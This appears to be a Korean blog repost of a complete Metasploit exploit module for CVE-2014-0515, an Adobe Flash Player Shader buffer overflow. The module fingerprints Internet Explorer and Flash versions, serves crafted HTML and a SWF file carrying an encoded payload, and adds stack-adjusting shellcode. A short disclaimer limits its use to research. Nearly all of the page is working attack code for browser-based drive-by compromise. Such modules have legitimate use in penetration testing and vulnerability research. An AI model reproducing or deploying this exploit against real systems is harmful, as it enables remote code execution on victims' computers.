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주의사항아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다.악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다### This module requires Metasploit: http//metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player Shader Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow vulnerability in Adobe Flash Player. The vulnerability occurs in the flash.Display.Shader class, when setting specially crafted data as its bytecode, as exploited in the wild in April 2014. This module has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over Windows XP SP3, Windows 7 SP1 and Windows 8. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2014-0515'], ['BID', '67092'], ['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'], ['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ] ], 'Payload' => { 'Space' => 2000, 'DisableNops' => true, 'PrependEncoder' => stack_adjust }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'Retries' => false, 'EXITFUNC' => "thread" }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", :method => "LoadMovie", :os_name => Msf::OperatingSystems::WINDOWS, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') } }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Apr 28 2014", 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def stack_adjust adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset adjust end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end print_status("Sending HTML...") tag = retrieve_tag(cli, request) profile = get_profile(tag) profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" flash_payload = "" get_payload(cli,target_info).unpack("V*").each do |i| flash_payload << "0x#{i.to_s(16)}," end flash_payload.gsub!(/,$/, "") html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=flash_payload%>" /> <param name="Play" value="true" /> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf endend728x90
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